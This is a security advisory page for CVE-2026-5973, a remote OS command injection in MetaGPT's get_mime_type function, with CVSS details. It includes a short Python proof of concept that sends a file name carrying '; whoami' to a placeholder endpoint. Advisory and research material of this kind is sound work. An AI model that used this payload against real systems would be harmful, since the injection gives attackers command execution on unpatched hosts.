Security Vulnerability Report
中文
CVE-2026-5973 CVSS 7.3 HIGH

CVE-2026-5973

Published: 2026-04-09 20:16:29
Last Modified: 2026-04-29 19:14:22

Description

A vulnerability was found in FoundationAgents MetaGPT up to 0.8.1. Impacted is the function get_mime_type of the file metagpt/utils/common.py. The manipulation results in os command injection. The attack can be executed remotely. The exploit has been made public and could be used. The project was informed of the problem early through a pull request but has not reacted yet.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:deepwisdom:metagpt:*:*:*:*:*:*:*:* - VULNERABLE
FoundationAgents MetaGPT <= 0.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: CVE-2026-5973 MetaGPT get_mime_type OS Command Injection # Description: PoC to demonstrate command injection in the get_mime_type function. target_url = "http://target-host:port/api/vulnerable_endpoint" # The payload attempts to execute 'whoami' command using a semicolon separator # Assuming the parameter 'file_name' is passed to get_mime_type payload = "; whoami" malicious_data = { "file_name": f"test.txt{payload}" } try: response = requests.post(target_url, data=malicious_data) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body:") print(response.text) if "root" in response.text or "www-data" in response.text: print("[!] Command Injection Successful!") except Exception as e: print(f"[-] Error occurred: {e}")

References

Raw JSON Data

JSON
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